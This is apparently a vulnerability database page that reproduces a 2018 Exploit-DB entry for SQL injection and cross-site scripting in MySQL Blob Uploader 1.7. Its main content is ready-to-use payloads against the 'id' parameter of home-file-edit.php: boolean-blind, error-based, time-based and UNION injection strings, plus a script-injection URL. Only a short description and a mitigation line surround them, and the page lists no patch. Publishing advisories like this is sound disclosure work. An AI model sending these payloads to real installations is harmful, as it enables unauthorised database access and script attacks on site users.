MySQL Blob Uploader 1.7 - 'home-file-edit.php' SQL Injection / Cross-Site Scripting

vendor:

MySQL Blob Uploader

by:

Özkan Mustafa Akkus (AkkuS)

7.5

CVSS

HIGH

SQL Injection / Cross-Site Scripting

89, 79

CWE

Product Name: MySQL Blob Uploader

Affected Version From: 1.7

Affected Version To: 1.7

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

MySQL Blob Uploader 1.7 – ‘home-file-edit.php’ SQL Injection / Cross-Site Scripting

MySQL Blob Uploader 1.7 is vulnerable to SQL Injection and Cross-Site Scripting. An attacker can exploit this vulnerability by sending malicious payloads to the vulnerable parameters. For SQL Injection, the attacker can use boolean-based blind, error-based, AND/OR time-based blind and UNION query payloads. For Cross-Site Scripting, the attacker can use a malicious script payload.

Mitigation:

Input validation should be done on the server-side to prevent malicious payloads from being executed.

Source

Exploit-DB raw data:

# Exploit Title: MySQL Blob Uploader 1.7 - 'home-file-edit.php' SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 22.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysql-file-and-image-uploader-and-sharing-blob-file-server/17748300
# Version: 1.7 - seventh update
# Category: Webapps
# Tested on: Kali linux
====================================================

# PoC : SQLi :

Parameter : id

     Type : boolean-based blind
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=42' AND 5445=5445 AND 'xkCg'='xkCg

     Type : error-based
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=42' AND (SELECT 8740 FROM(SELECT
COUNT(*),CONCAT(0x7178717671,(SELECT
(ELT(8740=8740,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xWJA'='xWJA

     Type : AND/OR time-based blind
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=42' AND SLEEP(5) AND 'eOfO'='eOfO

     Type : UNION query
     Demo :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=42
  Payload : id=-4824' UNION ALL SELECT
CONCAT(0x7178717671,0x4e4448494b6a6457474572704c5a73534661474c6f6b44554a7863754d77565570654c664a634274,0x717a6b7171),NULL,NULL,NULL,NULL,NULL--
aTGd


====================================================

# PoC : XSS :

  Payload :
http://test.com/MySqlBlobUploader/home-file-edit.php?id=%27%20%3C/script%3E%3Cscript%3Ealert%28%27akkus+keyney%27%29%3C/script%3E%E2%80%98;&t=files